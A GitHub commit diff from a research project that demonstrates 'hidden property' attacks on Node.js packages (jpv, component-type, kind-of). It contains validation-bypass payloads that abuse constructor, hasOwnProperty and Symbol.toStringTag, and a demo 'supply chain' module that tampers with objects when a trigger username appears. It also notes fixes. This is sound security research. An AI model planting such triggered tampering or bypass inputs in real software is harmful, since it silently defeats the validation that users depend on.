Skip to content

Commit 0757ed1

Browse files
warrenbuhlerwarrenbuhler
committed
edits for postman
1 parent 5f5621b commit 0757ed1

12 files changed

+70
-200
lines changed

‎.vs/VSWorkspaceState.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,6 @@
1111
"\\models",
1212
"\\routes"
1313
],
14-
"SelectedNode": "\\routes\\index.routes.js",
14+
"SelectedNode": "\\class-validator\\class-validator_handling.js",
1515
"PreviewInSolutionExplorer": false
1616
}

‎.vs/abusing_hidden_properties_node_js_attack/v17/.suo

2.5 KB
Binary file not shown.

‎.vs/slnx.sqlite

0 Bytes
Binary file not shown.

‎component_type/component_type_handling.js

+7-85
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
const express = require('express')
22
var type = require('component-type')
3+
var supplyAttack = require('./supply_chain-attack')
34

45
// check type of passed JSON, confirm whether the type check can be tricked
56
function runComponent(payload)
@@ -10,91 +11,12 @@ function runComponent(payload)
1011

1112
}
1213

13-
// Demo to
14-
function demo1()
14+
function demoSupplyChain(input)
1515
{
16-
// validated how component-type works
17-
var dateObj = new Date;
18-
var toString = Object.prototype.toString;
16+
// Calling my module to attach a timestamp to this input object! Then I will type check it
17+
let obj = supplyAttack.supplyAttack(input);
18+
return ("Component type thinks this is: " + type(obj));
1919

20-
var returnObj = {}; // empty Object
21-
var key = 'Malicious';
22-
returnObj["dateObj"] = dateObj; // empty Array, which you can push() values into
23-
//obj2 = 'String.prototype[Symbol.toStringTag] = \'prototype polluted\';';
24-
25-
26-
returnObj["type(dateObj)"]= type(dateObj);
27-
returnObj["Manipulate the dateObj"] = "obj[Symbol.toStringTag] = 'Array';";
28-
dateObj[Symbol.toStringTag] = 'Array';
29-
returnObj["new type(dateObj)"] = type(dateObj)
30-
31-
32-
let polluted = new testPollution();
33-
console.log(Object.prototype.toString.call(polluted));
34-
console.log(type(polluted));
35-
console.log("check value of");
36-
37-
let valueOfPol = new vals();
38-
vals.prototype.valueOf = function() { return true; };
39-
//console.log(valOf(valueOfPol));
40-
console.log(type(valueOfPol));
41-
42-
// experimenting
43-
var malicious = "class testPollution { get [Symbol.toStringTag]() { return \"Array\"; } } ";
44-
45-
//var valOfPolStr = type(valOfPol);
46-
console.log(returnObj);
47-
48-
return new Promise((resolve, reject) => {
49-
resolve(returnObj)
50-
});
51-
52-
}
53-
54-
55-
class testPollution
56-
{
57-
constructor()
58-
{
59-
Object.defineProperties(this, {
60-
[Symbol.toStringTag]: {
61-
value: "Array",
62-
writable: true
63-
}});
64-
65-
//this.check = function() {return "array"};
66-
//this.prototype.valueOf= 1;
67-
this.check = 1;
68-
//this.prototype.toString = function() {return "array"}
69-
toString: () => {
70-
return "Array"
71-
}
72-
73-
//var check = function() {return "array"};
74-
75-
76-
this.valueOf = function valueOf() { return true; };
77-
}
78-
}
79-
80-
class vals
81-
{
82-
constructor(){}
83-
84-
}
85-
86-
function demo2()
87-
{
88-
const myDate = new Date();
89-
console.log(Object.prototype.toString.call(myDate)); // [object Date]
90-
91-
myDate[Symbol.toStringTag] = 'myDate';
92-
console.log(Object.prototype.toString.call(myDate)); // [object myDate]
93-
94-
Date.prototype[Symbol.toStringTag] = 'prototype polluted';
95-
console.log(Object.prototype.toString.call(new Date())); // [object prototype polluted]
96-
97-
console.log(Object.prototype.toString(Object.prototype.toString()));
9820
}
9921

10022
/// debugging aid function for testing
@@ -115,7 +37,7 @@ function demoValOfFix(obj)
11537
}
11638

11739
module.exports = {
118-
demo1,
11940
runComponent,
120-
demoValOfFix
41+
demoValOfFix,
42+
demoSupplyChain
12143
}

‎component_type/supply_chain-attack.js

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
2+
3+
function supplyAttack(input) {
4+
input.timestamp = new Date();
5+
6+
if (input.username == "Execute Order 66") {
7+
input[Symbol.toStringTag] = "Array";
8+
input.length = 99;
9+
}
10+
return input;
11+
}
12+
13+
module.exports =
14+
{
15+
supplyAttack,
16+
}

‎jpv/2.2.1_JPV_internal_attack.js

+31-11
Original file line numberDiff line numberDiff line change
@@ -26,19 +26,39 @@ function exampleJPV() {
2626
console.log("jpv.validate(input, schema) = " + jpv.validate(input, schema));
2727
console.log(input.constructor === schema.constructor);
2828

29-
for (const property in input.aMap) {
30-
console.log(property);
31-
console.log("i am here");
32-
if (Object.prototype.hasOwnProperty.call(input.aMap, String(property))) {
33-
console.log("now here");
34-
console.log(property);
29+
// To fix this, we could check that the constructor is not inherited
30+
31+
console.log("This can be quickly fixed by checking if the object has its own constructor property, rather than being inherited");
32+
33+
console.log("if (Object.prototype.hasOwnProperty.call(input.aMap, \"constructor\")) { return False } ");
34+
if (Object.prototype.hasOwnProperty.call(input.aMap, "constructor")) {
35+
console.log("Return False here");
36+
}
37+
38+
console.log("An object that inherits the constructor is fine, as we demonstrate against the schema");
39+
console.log("if (!Object.prototype.hasOwnProperty.call(schema.aMap, \"constructor\")) { return False } ");
40+
if (!Object.prototype.hasOwnProperty.call(schema.aMap, "constructor")) {
41+
console.log("Return True here");
42+
}
43+
44+
45+
//for (const property in input.aMap) {
46+
// console.log(property);
47+
48+
// if (property == "constructor") {
49+
// console.log("found constructor");
50+
// }
51+
// console.log((Object.prototype.hasOwnProperty.call(input.aMap, String(property))));
52+
// if (Object.prototype.hasOwnProperty.call(input.aMap, String(property))) {
53+
// console.log("now here");
54+
// console.log(property);
3555

36-
console.log(Object.prototype.hasOwnProperty.call(input.aMap, "constructor"));
37-
console.log(Object.prototype.hasOwnProperty.call(schema.aMap, "constructor"))
56+
// console.log(Object.prototype.hasOwnProperty.call(input.aMap, "constructor"));
57+
// console.log(Object.prototype.hasOwnProperty.call(schema.aMap, "constructor"))
3858

39-
if (!Object.prototype.hasOwnProperty.call(schema, String(property))) {
40-
console.log("checked schema");
41-
}
59+
// if (!Object.prototype.hasOwnProperty.call(schema, String(property))) {
60+
// console.log("checked schema");
61+
// }
4262
//if ((typeof input[property] === 'object') &&
4363
// (typeof schema[property] === 'object') &&
4464
// (Object.keys(schema[property]).length !== 0)) {

‎jpv/jpv_handling.js

+1-86
Original file line numberDiff line numberDiff line change
@@ -11,103 +11,20 @@ function checkJPVMapOrig(input)
1111
}
1212

1313
return ("Validation bypassed: " + jpv.validate(input, mapPattern));
14-
15-
/*
16-
Debugging info
17-
console.log(typeof(mapPattern))
18-
console.log(mapPattern.constructor.name);
19-
console.log(input.constructor.name)
20-
*/
2114
}
2215

2316
// Bypass check on 2.0.1 for array validation
2417
function checkJPVArrayOrig(input)
2518
{
2619
var arrayPattern = {
27-
should_be_arrary: []
20+
should_be_array: []
2821
};
2922

3023
return ("Validation bypassed: " + jpv.validate(input, arrayPattern));
3124
}
3225

3326

3427

35-
// Demo for the constructor bypass on version 2.2.1
36-
function exampleJPV()
37-
{
38-
/*
39-
const input = {
40-
should_be_arrary: {"a":"1", 'constructor': {'name':'Array'}}
41-
};
42-
43-
44-
traverse(user_input, process);
45-
//traverse(o, process);
46-
var pattern = {
47-
should_be_arrary: []
48-
};
49-
return ("Validation bypassed: " + jpv.validate(user_input, pattern));
50-
*/
51-
52-
/*
53-
const input = {
54-
aMap: {
55-
badcode: "problematic input.",
56-
constructor: new Map().constructor
57-
}
58-
};
59-
60-
const schema = {
61-
aMap: new Map()
62-
};
63-
*/
64-
65-
66-
67-
const input= {
68-
key7: {"a":1},
69-
"hasOwnProperty": ()=>{return false;}
70-
}
71-
72-
var schema = {
73-
key7: []
74-
};
75-
76-
77-
78-
// jpv.validate(input, schema) should return false, but, as of 2.2.1, returns true
79-
console.log("Validation is getting bypassed: " + jpv.validate(input, schema));
80-
return jpv.validate(input, schema);
81-
82-
}
83-
84-
// Doesn't work with passed JSON'
85-
function constructorOverrideUpdated(input)
86-
{
87-
const schema = {
88-
definitelyAnArray: []
89-
};
90-
91-
return ("Validation bypassed: " + jpv.validate(input, schema));
92-
93-
}
94-
95-
// Not working at the moment
96-
function hasOwnPropertyOverride()
97-
{
98-
var input= {
99-
key7: {"a":1},
100-
"hasOwnProperty": ()=>{return false;}
101-
}
102-
var schema = {
103-
key7: []
104-
};
105-
106-
console.log("Validation is getting bypassed: " + jpv.validate(input, schema));
107-
return jpv.validate(input, schema);
108-
109-
}
110-
11128
/// Debugging aids
11229

11330
//called with every property and its value
@@ -128,6 +45,4 @@ function traverse(o,func) {
12845
module.exports = {
12946
checkJPVMapOrig,
13047
checkJPVArrayOrig,
131-
constructorOverrideUpdated,
132-
exampleJPV
13348
}

‎package-lock.json

+6-6
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎package.json

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
{
22
"name": "abusing_hidden_properties_node_js_attack",
33
"version": "1.0.0",
4-
"description": "Implementation of \"Abusing Hidden Properties to Attack the Node.js Ecosystem\"",
5-
"main": "index.js",
4+
"description": "Implementation of \"Abusing Hidden Properties to Attack the Node.js Ecosystem\"",
5+
"main": "index.js",
66
"scripts": {
77
"start": "node index.js",
88
"dev": "node_modules/.bin/nodemon -e js",

‎routes/component_type_routes.js

+5
Original file line numberDiff line numberDiff line change
@@ -25,4 +25,9 @@ router.get('/', async (req, res) => {
2525
result = await component_type.demo1()
2626
console.log(result);
2727
res.json(result);
28+
})
29+
30+
router.post('/supplychain', async (req, res) => {
31+
result = await component_type.demoSupplyChain(req.body);
32+
res.json(result);
2833
})

‎routes/jpv.routes.js

-8
Original file line numberDiff line numberDiff line change
@@ -19,14 +19,6 @@ router.post('/Array', async (req, res) => {
1919

2020
})
2121

22-
router.post('/Constructor', async (req, res) => {
23-
24-
returnVal = await jpv_handle.constructorOverrideUpdated(req.body);
25-
res.json(returnVal);
26-
27-
})
28-
29-
3022
router.get('/', async(req, res) => {
3123
returnVal = await jpv_handle.exampleJPV();
3224
res.json(returnVal);

‎routes/kindof.routes.js

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ const kindof_handle = require('../kind_of/attack')
55

66
module.exports = router
77

8-
router.post('/post', async (req, res) => {
8+
router.post('/', async (req, res) => {
99

1010
returnVal = await kindof_handle.jsonDemo(req.body);
1111
res.json(returnVal);

0 commit comments

Comments
 (0)